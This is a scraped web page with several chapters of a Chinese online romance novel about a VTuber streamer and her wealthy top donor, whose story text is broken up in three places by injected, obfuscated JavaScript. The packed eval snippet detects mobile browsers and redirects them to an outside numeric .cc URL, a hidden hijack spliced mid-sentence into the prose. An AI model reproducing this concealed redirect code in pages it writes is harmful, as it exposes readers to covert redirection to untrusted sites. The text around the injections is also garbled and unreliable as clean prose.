公园里大多数人带着小狗散步，淘气在其中显得尤为特别，毛茸茸的一团白，不少遛狗的阿姨都夸它好看。 在公园玩到傍晚，南汐才跟着祝晴一起回家吃晚饭。 祝晴把刚刚拍的照片发在家人小群里，南汐觉得有几张拍得漂亮，特地保存了下来，加上之前在探月园拍的夕阳，一起发在了朋友圈里。 今天事情不多，南汐不到七点就开播了，这次老老实实地发送了直播通知。 正好把水友赛的报名通知也打在了公屏上。 “朋友们，水友赛的时间在后天晚上八点，大家有空可以来玩。” 南汐设置好直播预约通知，又说，“有奖品的哦，跟这个月的超会礼物是一样的。” 她刚把动态发出去，礼物区弹出来一条消息。 下课吃什么发送了[100元付费留言]：【主播主播，我今天填报高考志愿了，可以祝我被第一志愿录取吗？】 南汐看到熟悉的ID，脑海深处的记忆被唤醒了。 “啊，我记得你！”南汐一下就想起来了，“恭喜恭喜，希望你得偿所愿，考上理想的大学！” 两年前，下课吃什么给她提供了以虚拟形象直播的建议，她加了他的Q.Q好友，才得知他那时候还是个高中生。 在那之后，大概是忙于学业，又或者是直播间人数太多，南汐再也没见过他的身影。 直播间的观众来了一批又一批，有些老观众也消失不见，自然没人记得当年的事。 但南汐心里还一直感激他那时伸出的援助之手。 【谁啊？粉丝牌都没有，月宝居然认识？】 【加油加油，老板前途无量】 【月宝粉丝里居然有高中生，震惊】 【我马上初三我说什么了？】 【小朋友看什么直播，期末考试考了多少分？暑假作业做完了吗？】 下课吃什么发送了[100元付费留言]：【未成年时没有送礼物，直播一直有看的！】 “谢谢你的留言，祝你毕业快乐。”南汐给直播间不明真相的观众们解释，“朋友们，你们现在看到的Tsuki形象就是他帮忙给我做的！” “‘他’做的？” 贵宾包厢的席间，唐泽枫轻笑了一声。 “我可没有抢你的功劳！”许游连忙解释，“我说是我认识的人做的，她可能已经忘了。” 许游今年六月高考完，跟父母回日本玩了一段时间，今天才刚刚回国。 一下飞机，许游就说要来唐泽枫的工作室学习，说是学习，更像是过来蹭网蹭空调。 在许游眼里，舅舅是自己从小就最为崇拜的男人。 大学毕业后，唐泽枫回到母亲的故乡创业，和几位朋友一起组建了一个3D数字艺术工作室，这么几年的发展下来，参与了不少国内外的大项目，已经成了游戏行业内大名鼎鼎的一流建模团队。 不少拿过奖的游戏大作内，都有唐泽枫团队制作的角色，每逢寒暑假，许游都有幸在工作室的电脑里里亲眼见证这些游戏人物的诞生。 对于一个爱玩游戏的人来说，舅舅是行业内著名的角色建模师，是一件让许游觉得无比骄傲的事。 席间的大人们在闲聊着，许游的手机画面里还在播放着Tsuki的直播，声音小到只有他和身边的唐泽枫能听见。 许游看主播打开了游戏，叹了口气：“舅舅，你说怎样才能跟主播做朋友啊？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236678|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 唐泽枫的目光落在手机屏幕上，右下角的Tsuki不知道和观众聊到了什么，正摇头晃脑、弯着眼睛笑。 他问：“你想跟她做朋友？” 许游是在偶然间认识Tsuki的。 高一的国庆节，许游在家闲着无聊，随手点开了首页推送的一个新主播的直播间，软糯的少女音一下子就击中了纯情二次元的心，废寝忘食地抱着手机看了大半宿，才发现这个主播不仅声音好听，技术也是一顶一的牛。 可惜他是住宿生，假期结束后碰不到手机，只有周末或者假期才能继续看直播。 那段时间未成年退款事件轰轰烈烈，许游花不了钱，只能看着Tsuki的直播间人气越来越高，观众越来越多。 好不容易等到高考结束，从日本回来之后，他第一时间就蹲守在了Tsuki直播间里等开播。 听到这话，许游看了一眼对面正在聊天的母亲和外婆，压低声音：“当然想了，月宝声音那么好听，肯定长得也漂亮，好想见见她真人。” 声音和长相不符的例子不要太多。 唐泽枫笑了笑，只说：“小心被骗。” 两年前，许游拜托他帮忙制作一款简单的live2D模型时，唐泽枫开始是不愿意的。 倒不是有多难，只是他以为许游是要自己用，多少是带了点偏见。 许游尝试向他安利了Tsuki直播间，不过舅舅看起来似乎并不感兴趣，也没时间看这个。 加上网络诈骗确实很常见，他担心也很有道理。 “就算被骗，我还没资格呢，她直播间大老板可多了。” 许游把直播间的礼物榜点开，凑到他面前给他看，“你看这个榜一，元气用户28389，每个月都刷好几万，有的时候甚至十几二十万，他一个人就够主播骗得盆满钵满了。” “……” 许游没注意到他舅有什么异常，憋着笑说：“最搞笑的是什么你知道吗，前几天月宝感冒了，这大哥刷了好几万让她休息，结果她第二天不发直播通知偷偷播，大哥还错过了一次真人直播哈哈哈哈！” “………” 许游顾自笑了几声，见桌上的人都看向自己，尴尬地摸了摸鼻子：“确实不该笑话别人。” 唐泽枫觉得跟小孩没有共同话题，他习惯性地拿起手机想看看工作消息，却意外地发现朋友圈出现了一个熟悉的猫猫头像。 是那只名为“淘气”的布偶猫。 他顺手点了进去，刷到了十分钟前，备注为“南汐”发的动态。 @南汐：妈妈拍的我vs我拍的夕阳！ 有九张图，几张她和猫的合照，其中最吸睛的，是最中间这张。 她站在绿荫草坪上，背后是油画般的日落霞光，怀里抱着一只蓝眼睛小猫，神态懒散地举起了一只前爪。 女孩的长发随风扬起，在夕阳照耀下熠熠生光。她心情很好，朝着镜头笑得嫣然，那双弯起的眼睛里藏着无限青春活力，感染力极强地影响到看照片的人。 让他迟迟没有退出大图。 许游见唐泽枫盯着手机看，凑过来瞄了一眼，惊叹：“哇！美女！” 他扬起头问，“她是谁啊？” 唐泽枫将手机熄屏，唇边挂着淡淡的笑：“朋友。” 8. 喜好 虽然唐泽枫说是朋友，但照片里女生的脸看起来年纪很小，一对小虎牙在笑起来时格外可爱灵动，让许游错误地预估了她的年纪。 他不理解：“舅舅，你还有高中生朋友？” 见他重点关注错了，唐泽枫只是简单解释一句：“大学生。” 刚刚那一眼堪称惊艳，许游还想看看，奈何手机熄屏了看不见，只能感叹一句：“感觉月宝应该就是这种类型的女孩子。” 他的注意力重新回到直播间里，看到了屏幕左上角挂着的水友赛通知，决定参与。 关注Tsuki的观众里肯定不乏技术厉害的大佬，他玩得一般，也不是冲着奖品来的，只是希望能跟主播有一次交流的机会。 许游给Tsuki的小助理发去了报名申请之后，思来想去，觉得还是最原始的办法最好用。 他等唐泽枫和母亲聊完，才试探着问：“舅舅，能不能再帮我个忙？” 唐泽枫听到“再”字，侄子的小心思已经摸得八九不离十，不过没有第一时间打消他的积极性。 见似乎有戏，许游嘿嘿一笑：“我想再给月宝做个皮套，都两年了，大家肯定看腻了。” “想法不错。” 唐泽枫给了句肯定，就在许游以为他要答应下来时，他却话锋一转，“明天让小齐抽空教你。” 许游竖起来的耳朵瞬间耷拉了下来。 “追女孩还要靠舅舅帮忙，说出去会让你的个人魅力大打折扣的。”唐泽枫笑着说。 许游心里很赞同他的说法，但他对建模这些一窍不通，不抱希望地问：“要学多久啊？” “如果你只是想速成，咬咬牙努力几天就能做出个简单会动的模型。”唐泽枫揶揄，“如果想要系统学习，大学本科有一门《计算机图形学》，只要学完48个学时就算入门了。” “舅舅，你杀了我算了。” 许游泄气地倒在餐桌上，意识到女孩不好追，要钱没钱，要技术没技术，也不知道年轻算不算资本。 * 十点左右，南汐打完这局比赛没有再开，而是直接退出了游戏。 她意识到自己今天的状态有些不对，刚开始还活力满满，在播了快三个小时仍然没有等来他后，南汐的心态受到了影响，话变得很少。 明明今天发了直播通知，为什么他没来？ 南汐想到温琬不久前刚跟她说的“爱上客人”，忽然有些惆怅。 Tsuki直播间的老板有好几个，以前南汐很少在意今天哪个老板来没来，那时的心态很平常，来了是幸运，不来也是常态。 毕竟直播两年来，总会有人离开，互联网新兴的主播这么多，长情才是少数。 可对大哥有了不一样的想法之后，南汐意识到自己对他的期待似乎超出了正常范畴。 不过是一次缺席，有可能是在忙工作，也有可能没看到开播消息，她明明不该这么失落。 直播却不说话是主播的一大忌讳，看到弹幕也逐渐变少后，南汐觉得不能再这么闷头玩下去了。 她打开音乐播放器，和观众聊起来：“朋友们，有没有什么新的游戏推荐？” 她得找点新鲜游戏转移一下注意力了。 【月宝还玩恐怖游戏吗？最近有几个demo看着不错】 南汐将弹幕念了出来：“demo就算了，玩到兴头上就没了，还是等正式版吧。” 【要不来两把瓦，为水友赛做准备】 “水友赛大概率我是做解说，可能玩一两把。”南汐解释，“我就不跟朋友们抢位置了。” 【宝宝玩不玩恋爱游戏呀？兄弟们肯定都想看】 这条弹幕引起了南汐的兴趣，她问：“什么恋爱游戏？二次元后宫那种吗？” 【最近不是有很多真人恋爱模拟吗？那一个个身材太顶了】 【自己想看就自己想看啊，别兄弟们，谁跟你兄弟们】 【月宝玩真人的吧，那个适合深夜看】 【好耶好耶，我直接一个弹射起步】 【真玩吗？月宝正好可以学点恋爱小技巧】 南汐看到弹幕一下多了好几倍，还一头雾水：“什么呀？你们给个名字好吗，我搜搜看。” 【完蛋！我被美女包围了】 【我和七个俏房客】 【都要！小孩子才做选择！】 【美女，请别影响我学习】 【拜托！明天和我恋爱吧】 一大堆的游戏名字飘过去，南汐看得眼花缭乱，随便复制了一个搜索。 光是看到宣传影片，南汐就知道了他们的意思。 确实是直播间观众们会喜欢看的恋爱游戏，好几个大美女就列在封面上，足够吸睛。 南汐想着反正无聊，把游戏买好，下载。 游戏刚刚启动，画面上就把所有可攻略的女生全部展示了出来，各个角色都有专属的介绍影片，导演显然非常懂得卖点，每个女生最亮眼的地方都用镜头展现得淋漓尽致。 有穿Lolita裙子的可爱萌妹，有戴眼镜梳高马尾、气质清冷的女老师，有黑西装御姐范霸道女总裁，也有白月光初恋女大学生。 每一种类型都有不少的受众。 看完几个影片之后，南汐惊叹了一句都好漂亮，不由得好奇地问：“你们喜欢哪种类型的呀？咱们攻略谁？” 她一句话就让弹幕吵了起来。 【女总裁！啊啊啊姐姐杀我！】 【妈呀老师身材这么好的？淌口水了嘿嘿嘿】 【不是，你们能不能不要那么俗啊？】 【都玩游戏了就别装了哥们，承认自己是个俗人不难】 【没有人喜欢Lo娘吗！好可爱！】 【都是小孩吗？可爱在性感面前不值一提！】 南汐看弹幕疯狂刷新，争论不休，她哭笑不得：“你们别吵啊，我们还没开始玩呢。” 此时正好有一条付费留言冒了出来。 岛屿失梦发送了[50元付费留言]：【月宝，弄个投票吧】 南汐觉得是个好主意：“等会儿啊，我动态发个投票，你们赶紧去投，限时五分钟！” 限时投票发出去之后，南汐本想摸几分钟鱼玩会儿手机，谁知道正在此时，她心心念念的人终于出现在了直播间。 元气用户28389发送了[2000元付费留言]：【什么投票】 他今晚出现得太晚，观众一时间也搞不清楚了。 【元神限时返场了？怎么又来了】 【今天怎么这个点，在月宝玩这个的时候来】 【这不是刚来吗，哪来的返场】 【元神深夜探班，月宝心跳又加快了】 【恋爱的事说不清了哈哈哈哈】 【我作证，这是水友推荐的游戏！】 南汐忽视弹幕，倒是觉得他来得正是时候，这是个打听他喜好的绝佳机会，放在平时，她根本找不到契机问这种私人问题。 她凑近麦克风，跟他解释：“我们在玩互动游戏，要选择一个美女，哥你觉得哪个好看？” 南汐特地把女生们的合照放大了显示在屏幕上。 六个女生里，初恋、校花和Lo娘和她现实里有相似点，都是属于清纯甜美风格。 南汐心里暗暗地想，如果大哥喜欢的是成熟性感类型的，那算是跟自己完全不搭边了。 问出这句话时，南汐心里在打鼓。 她总共也就见过唐泽枫那么一面，网上聊天也极少聊到个人生活，连他多大、做什么工作、什么性格都完全未知，想要了解他，只能先从直播开始入手。 他在直播间停留的时间太短，南汐得想办法留住他多聊几句，这样也能为下播之后找话题提前做好铺垫。 限时投票还剩下最后一分钟，不知道大哥已经去投票了还是没放在心上。 就在南汐准备鼓起勇气换个方式问的时候，礼物区弹出了通知。 元气用户28389发送了[2000元付费留言]：【你算选项之一吗】 目光扫到文字的一刹那，南汐大脑空白了一瞬，感觉到热意从耳朵爬到脸颊。 这次她学聪明了，当机立断，先把手腕上的手表摘了。 弹幕再一次刷得飞快。 【啊？啊？啊？？？】 【懂了，元神喜欢二次元】 【还是得爹，一句话把主播撩到心电图成直线了】 【月宝还在吗？怎么皮套都卡住了】 【妈呀，这是我能嗑的吗？】 【什么意思？那我问你这是什么意思？！】 【兄弟们能不能学学，这才是粉头发言！】 【月宝是不是害羞了哈哈哈哈】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236679|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【也不是不行！谁做个可攻略月宝的游戏？】 南汐眼睁睁地看到礼物区弹出了几个月亮花灯，但她完全没办法开口。 说话简单直白是大哥的特色，南汐没想到有一天自己会被这样的直球击晕。 脑袋快要冒烟了，她用手捂住脸，短时间内根本平静不下来。 幸好及时把手表摘了，不然恐怕要让观众看到自己心率再次创新高。 她半天才找回自己的声音，小到快要被音乐声覆盖：“谢谢哥的五个月亮花灯，谢谢。” 刚谢完礼物，他又发了留言。 元气用户28389发送了[2000元付费留言]：【看微信】 南汐怔了一下，慢半拍地拿起手机。 直播时她的手机都是通知静音的状态，打开微信，才看到唐泽枫给她发了好几条消息。 [18:54] 唐泽枫：【今天有点事，晚点】 原来他早就发过消息，只是自己没有看到，导致玩游戏也没心情。 南汐心想，下次直播不可以静音了。 [22:31] 唐泽枫：【抱歉，是不是吓到你了】 唐泽枫：【没看到是恋爱游戏】 南汐把静音状态解除，回复他：【没事！谢谢哥！】 刚回完消息，元气APP推送了消息，限时投票已经结束了。 微信又响了一声，是他。 唐泽枫：【你玩吧，我看一会儿】 南汐没想到昨晚刚说过他在直播间观看时间太短，他今天就愿意留下来了！ 她难以抑制内心的欣喜，回他：【嗯嗯好】 来回发了两条消息，等南汐再看向屏幕，弹幕的风向已经不对劲了。 【这下真信了月宝看过了大哥朋友圈】 【咋回事啊！光聊天不理哥们了！】 【要不下播你俩慢慢聊】 【救命，我真的开始乱想了】 【好好好，游戏还没开始就恋爱上了】 【我突然开始怀疑月宝今天莫名其妙玩恋爱游戏的动机了[盯]】 “什么呀！”南汐红着脸辩解，“这游戏不是你们让我玩的吗！” 她还是没敢戴上手表，扯谎，“手表坏了，主播没死。” 限时投票里票数最多的是女总裁，南汐公布了结果，随后开始了游戏。 观众在线榜里，元气用户28389的默认头像一直没有离开，南汐知道他在看，不知为何有了压力，说话声音都轻了一些。 游戏开始后，弹幕里调侃的声音才逐渐消失，转而开始评价角色和内容。 南汐也总算是松了口气。 南汐不想深夜洗澡打扰爸妈休息，她播到十一点半就准备下了。 唐泽枫虽说是“看一会儿”，却从未离开，陪她到下播。 关电脑后，南汐当即给他发消息：【谢谢你陪我直播[开心]】 对方没有让她等，很快就回复了：【是不是困了】 最后一小时，因为有他在场，南汐有些矜持，话没有那么多。 才让他误以为自己是困了，其实这个点对于南汐来说还早。 而今天提前了半小时下播，也是有私心的。 她想跟唐泽枫多聊一会儿。 南汐坐在床边的毛毯上，打字：【不困】 南汐：【你今天在忙工作吗？】 唐泽枫：【没有，和家人吃晚饭】 南汐正在想怎么接话，对方突然发过来一张截图。 是刚刚玩的恋爱游戏里的角色，穿着Lolita的美女。 南汐心头一跳，难道他喜欢这种类型的？ 高中的时候，南汐也曾经穿过Lo裙，她自认为这样的风格对她来说简直是驾轻就熟。 唐泽枫：【这个裙子喜欢吗】 没想到他注意力在裙子上。 女生穿的是沉睡梦境的紫色初恋缎带，南汐曾经关注过，连名字都记下来了。 只是做了直播之后极少外出，她便觉得买了也没机会穿。 南汐：【喜欢呀，好好看】 如果他喜欢的话，她甚至有股冲动去买一套穿穿看。 只是他发来的消息出乎南汐的意料。 唐泽枫：【Tsuki想不想要新衣服？】 9. 清清白白 Tsuki的虚拟形象是两年前下课吃什么帮忙制作的，那时候南汐对虚拟角色还一知半解。 拿到安装包、在直播间展示出Tsuki之后，她才知道自己亲手画出来的动画人物随着自己的表情、动作活生生地动起来是多么令人震撼的一件事。 当时她的图画得并不算多么精致，建模师甚至还帮她修改了各处细节，最后平面效果超乎南汐的想象。 如果说元气用户28389是带给她人气爆炸性增长的贵人，那么下课吃什么则是为她直播生涯指出前路的明灯。 南汐非常好奇成本，在那之后也曾经找到平台上的虚拟建模师问过制作Tsuki所需要的价格，给对方看过自己的皮套形象之后，得到的回复是： 【你这个皮套精细度很高，没有一两万下不来】 她知道做这个要花钱，但不知道要花这么多钱。 结合下课吃什么还是个高中生，也没有收取自己的费用，南汐觉得非常过意不去。 她给他发给一次消息，问他需不需要当月超会团的定制礼物，可不知是不是对方在上课，隔了好几天才回复也没给她花钱，不好意思领取。 本着对他的感激，这两年里即便有观众提过Tsuki怎么一直保持一个形象，南汐还是从来没有换过。 如今唐泽枫的这句话问出来，南汐当即就动摇了，恋爱脑嗡嗡作响。 南汐：【想要！】 南汐：【可是这么漂亮的裙子我不会画[哭泣]】 她的画画技术早就止步于高中课堂的草稿本，上大学后忙着直播根本没有时间精进，现在要她画这条线条复杂的裙子实在是心有余而力不足。 然而对方并没有让她为难。 唐泽枫：【我认识画师，交给我】 仅仅是“交给我”简单的三个字，就给了南汐莫大的安全感。 一时间，受宠若惊的她呆呆地坐在地毯上，久久没有动作。 隔了快两分钟，她才抿着唇给他发去消息：【哥，你怎么对我这么好】 明明在几天之前还是从未见过面的陌生人，唐泽枫看起来对她直播的游戏也并不感兴趣，可仍然大挥手笔地打钱。 一时头脑发热也不能解释长达两年的陪伴，早期不少给Tsuki花过钱的老板们走的走散的散，唯有他每天准时出现给她惊喜。 现在又主动提出帮她做新衣服，这让南汐没办法不往深处想。 可他的态度暧昧不清，南汐又不敢往深处想。 对方的回复依然秉承着极简原则：【你值得】 南汐很没出息地湿了眼眶，埋头在臂弯里蹭了蹭，心里暗道他到底知不知道这样的话在女生听来算情话啊！ 还是说他中文学得不到位，对谁都是这么说话？ 南汐强迫自己不要多想，再一次给他发去一个猫猫磕头的表情包：【谢谢老板！】 退出和他的聊天框，南汐看到私人号的朋友圈多了一个未读消息，是唐泽枫的头像。 唐泽枫点赞了她的照片，就在她刚发出去不久。 * 水友赛如期而至。 报名的人数远比南汐想的要多，而无畏契约一局对战只有十个人，因此在初赛阶段就花了不少时间。 南汐在参赛列表的ID中一眼就看到了“下课吃什么”，特意安排他在第一场比赛上场，好在虽说是刚毕业的高中生，技术却还不错，成功挺进了第二轮决赛。 南汐是第一次担任游戏类解说，虽然这个游戏玩得不是很精通，胜在反应力快，每一场每个选手都尽量雨露均沾解说到位，没让他们白来。 今晚的初赛便打了四个多小时，结束后差不多十一点，恋爱游戏也玩不了多久，南汐打算干脆跟观众们聊聊天下播。 初赛虽然人数多，但也不乏精彩操作，不少观众仍然在讨论刚刚的比赛。 南汐注意到礼物区一个通知，笑：“哇，谢谢下课吃什么的超会牌！恭喜你成功登月，感谢你的支持！” 下课吃什么发送了[100元付费留言]：【月宝有没有想过换新衣服？】 观众们的视线一下子被这条留言吸引了。 【这就是刚成年的实力吗？】 【对哦，今年过生日有没有新衣服看呀？】 【还是小看小孩哥了，兄弟自愧不如】 南汐把留言念了出来，今天唐泽枫在刚开播十分钟就出现过了，现在不在线，她忍不住想跟大家分享好消息。 “朋友们，其实新衣服在制作中啦。”她控制了一下语气，好让自己不要显得太兴奋，“应该近期就能看到了哦。” 她挑着回复弹幕的问题。 “什么类型的？跟我现在差不多，昨天看了直播的应该很熟悉，我就不先过多透露啦。” “女仆装终于毕业了吗，是的是的，Tsuki终于可以不用做保洁了。” “怎么想到换新衣服，这个嘛……”南汐发现自己根本压抑不住笑意，只能压低声音，“其实是大哥说要送的啦。” 此话一出，弹幕冒出好多个问号。 【主播声音忽然变得这么温柔是要干嘛】 【昨天直播？爹不会真要把你变成选项之一吧】 【真就下播偷偷跟大哥聊了，心碎了】 【你俩最近这几天是不是有点太暧昧了】 【赞同，我已经嗑上头了】 【月宝的手表修好了吗？元神又不在，能不能把心跳抬上来】 南汐把手表戴上，辩解尽显苍白：“修好了，忘记戴了，现在能看到吗？” 屏幕右下角重新显示了心率，然而大家的着重点都不在这里。 虽然私底下想要拉近跟唐泽枫的关系，但她怕观众想太多，到时候他真来了收不了场，只能否认：“你们别说了，主播和大哥清清白白，只有金钱关系。” 【好一个清清白白，我看是情窦初开】 【我也想加月宝微信，可不可以给个机会？】 【主播是懂得怎么保养电子取款机的】 【直播间哪个姐妹来说说这真的不是恋爱了？】 【是不是真的，你们看新衣服首秀不就得了】 【天塌下来有月宝嘴顶着】 南汐一张嘴说不过他们那么多双手，聊了没多久就耻辱下播，下播前最后一句话还在叮嘱他们不可以真的去写同人文。 刚下播，手机响了一声，南汐看了一眼，发现竟然是来自Q.Q的消息。 除了班群发通知外，大家几乎都用微信沟通，南汐点开一看，是下课吃什么发来的。 【月宝，Q.Q不常用了，可以加一个微信吗？】 除了礼物榜前几位老板，超会团的成员南汐是不加微信的，但这个人实在特殊，南汐当即同意了，把工作号推了过去。 加上微信后，看到他的头像是一个流泪猫猫头，南汐产生了兴趣，顺手点开他的朋友圈，第一条内容很有意思。 【家人们谁懂啊，我以为我是高考黑马，现在成了餐厅牛马，不听我舅的话真该死啊呜呜呜】 配图是几张穿服务生制服在餐厅端盘子的照片。 南汐看到挂着寿喜烧的提灯，深夜里忽然就被勾出了馋瘾。 恰好此时，韩颖发来了一条消息：【宝宝，感冒好了吗？】 南汐退出来回复她：【好得差不多啦！】 韩颖：【那就好，我的小狗今天也出院啦】 韩颖：【上次说要带你吃大餐的，想吃什么呀？任你挑】 南汐刚刚看到图片还在馋，当即问：【姐姐你吃不吃日料呀？好想吃寿喜烧哦】 韩颖：【可以呀！我知道东街有家超有名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238610|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的网红日料店，咱们明天中午去？】 南汐：【好耶！】 最幸福的事莫过于前一晚心心念念想吃的东西，第二天醒来就可以吃到。 韩颖提醒她这家店每天等位都要等很久，届时她们得早点去，南汐当即订了一个九点钟的闹钟，准备一醒过来就去找她。 翌日早，南汐早餐只随便吃了几口就急着出门。 祝晴见她这么兴奋，好奇问：“去见谁呀？” “姐姐！”南汐穿好鞋，“她请我吃大餐！” 见她就要走，祝晴连忙喊她：“宝贝，中午太阳很大，带把伞！” 韩颖开车过来，在楼下等着她。 南汐上车后，她说：“这家不支持线上预定，只能到了之后再排队，我们先过去领号，时间多的话就在周边转转。” 韩颖和她随意佛系的性格不一样，她是个极致的J人，所有事情都提前安排妥当，因此南汐很喜欢跟她出去玩。 她点点头：“好啊，那家店远不远啊？” “开车过去半小时，还行。”韩颖在导航中输入店名“神乐川”。 路上，南汐顺便在点评上搜了一下这家店，开店时间才两年多，评分评价都非常高，除了周末节假日，平时工作日也是天天爆满需要排队。 就算等位的时间普遍在一个小时到两个小时，居然也有这么多人为了口味而愿意耐心等待。 南汐已经迫不及待想要尝尝味道。 十点左右，两人终于在商业中心找到了这家店的位置，果然如韩颖所说，她们来得还算早，因为周日的关系，排队的人却已经在门口坐满了。 南汐上前取号，得知她们已经是第二批顾客，最早也要十一半点才有空位。 韩颖料到了，问她：“宝宝，你早餐吃了没？要不先去吃点别的垫垫肚子。” 南汐刚要点头，却被门口走出来的一个人吸引了注意力。 男人眉目清朗，身形颀长挺拔，白色衬衫领口的扣子解到了第三颗。他的手里拿着一个平板，朝着取号台的服务员走来。 他将平板递向服务员面前，低下头似乎在问预定包间的事，周遭很嘈杂，南汐听不清。 她只听清了身边韩颖压低声音也压不住的兴奋：“我靠，现在日料店都请这么帅的服务员啊？不会是牛郎吧？！” 南汐的目光落在拿着平板的那只手上，尽管只是见过的第二面，她仍然在心里默默惊叹造物主的鬼斧神工。 世界上怎么会有这么具有性张力的一双手？ 看到它，仿佛已经能够感觉到那双手的掌心覆在自己皮肤上，随着肌肤纹路滑动抚摸的触感。 光是想到就令南汐浑身酥麻，在公共场合幻想这种事让她呼吸加快，肾上腺素飙升。 不知她盯了多久，男人的声音消失了，那只手放下了平板。 南汐下意识地抬起头，正好撞上唐泽枫直直投来的视线。 不知道他还记不记得自己。 前天晚上还给她的照片点了赞，应该是记得的吧？ 还好自己发照片不怎么修图，她真人应该跟照片没什么区别。 南汐紧张不安地想。 她听到他开口，话是对自己说的。 “取号了吗？” 南汐有些僵硬地点了点头，察觉到自己动作幅度微小，又补充一句：“取了。” 他状似随意地问：“要等多久？” 他的语气仿佛两人是熟识的朋友。 南汐在心里告诉自己这时候不能看手，得看眼睛，强迫自己不要太贪婪。 “要等一个半小时。” 她的声音不自觉地轻了很多。 “这么久啊。” 他忽然轻笑了一声，完全不似商量的语气，笑着说，“贵宾包间正好空了一间，你要不要先过去？” 10. 上钩 “神乐川”是唐泽枫姐姐和姐夫在两年前创立的日料品牌，凭借独特正宗的味道和出色的营销，短时间内便打响了名声，跻身仙海日料必吃榜榜首。 因为生意太好，几乎天天爆满，许游假期在家闲着没事，也被父母叫过来“体验生活”。 今天情况特殊，许游父母去外地出差，唐泽枫便被叫过来临时帮忙。 店里人手足够，唐泽枫并不需要过多操心，与其说是帮忙，更多的是看着许游。 只是没想到会有那么巧，难得过来一次，居然又遇见了那个爱脸红的小女孩。 * 跟在唐泽枫身后走进店里，南汐还沉浸在刚刚被众人投来艳羡目光的飘飘然中。 南汐确信唐泽枫认出了她，才会说出那句邀请的话。 取号台的服务员很快反应过来，询问：“是您的朋友吗？” 南汐看到唐泽枫颔首，目光还落在她脸上，给出了肯定回答：“是。” 比她来得早、站在旁边排队等位的几个女生立马发出了感叹。 “不是吧，还有这种待遇啊。” “好羡慕啊，我们还要等一个小时诶。” “帅哥果然都是跟美女做朋友的。” 南汐感觉到韩颖牵着她的手收紧了一些，大概跟在唐泽枫身后不太好开口，她把所有的疑问都暂时放回了肚子里，打算等会儿再详细盘问。 唐泽枫把她们带到了最小的贵宾包间，入座后一个年轻的服务员走了进来，将菜单放在桌面。 两个女生吃不了太多，南汐便点了一些店里招牌菜。 韩颖将菜单还给面前的服务员时，注意到他正目光好奇地打量着南汐，出声提醒：“你好，我们点完了。” 他这才顿觉失态，毕恭毕敬地接了过来：“好的，请您稍等，马上为您上菜。” 许游从包间出来时把门带上，脚步都快了不少，跟上走廊的唐泽枫，问：“舅舅，你刚刚带进来的那个女生怎么那么眼熟啊？” “有吗。”唐泽枫偏头看他，“漂亮的都眼熟？” 许游没在意这一句调侃，坚信：“是你上次手机里那个女生啊。” 唐泽枫：“这你都记得？” 许游刚想反驳一句那长相对任何男生来说看一眼都会印象深刻，可转念一想他舅这回避的态度太明显，他嗅到了一丝不对劲的意味。 不过他还没来得及询问，又被其他客人叫走，忙得脚不沾地。 许游离开包间后，韩颖凑近了问：“宝宝，你认识那个帅哥？” 南汐知道肯定瞒不过她，实话实说：“就见过一次面。” 她把之前帮韩颖看摊位初识的事简单概括给她听，自己也觉得奇怪：“我们加了微信之后只交换了名字。” “那他就说是朋友了？”韩颖猜测，“是不是喜欢你啊。” 她的话让南汐有些受不住，耳朵立马开始发烫：“啊，不、不会吧……” “你不知道你多招人喜欢。”韩颖说，“刚刚那个服务员还一直盯着你看呢。” 南汐方才心里一直在想唐泽枫，根本没注意到服务员在看她。 她有些犹豫，向韩颖寻求意见：“你说我要不要给他发个消息，谢谢他带我们进来？” 韩颖注意到她白皙的脸颊浮起淡粉，笑了起来：“等会儿，我们小南汐怎么害羞了，该不会你也看上人家了？” 被说中心事，南汐脸上的热度爬升地更厉害了，她又不能直接跟韩颖说自己馋人家的手，在不理解她XP的人听来总觉得怪变态的。 韩颖见她脑袋都快要磕到桌子上，像发现了新大陆：“啊？宝宝，我可记得前几天你才跟我说男人没有游戏好玩来着？是你说的吧？” 南汐小声辩解：“那是在遇见他之前说的，刚说完就认识他了。” “这样啊。”韩颖忍不住笑，“那你赶紧谢谢他啊，现在就发。” 南汐点点头，找到唐泽枫的头像，给他发去感谢的信息。 【唐先生，谢谢你让我们不用排队！】 对方大概正好不忙，很快就回了消息：【不客气】 韩颖聊起他：“他是这个店的老板？叫什么呀？” “叫唐泽枫。”南汐并不确定他的工作，“还没问过职业。” 韩颖想到他们加上微信也就互换了名字，说：“你们得多了解了解，他是哪里人，多大了，谈过几个女朋友，年收入怎么样，确定是个好人才可以开始谈恋爱。” 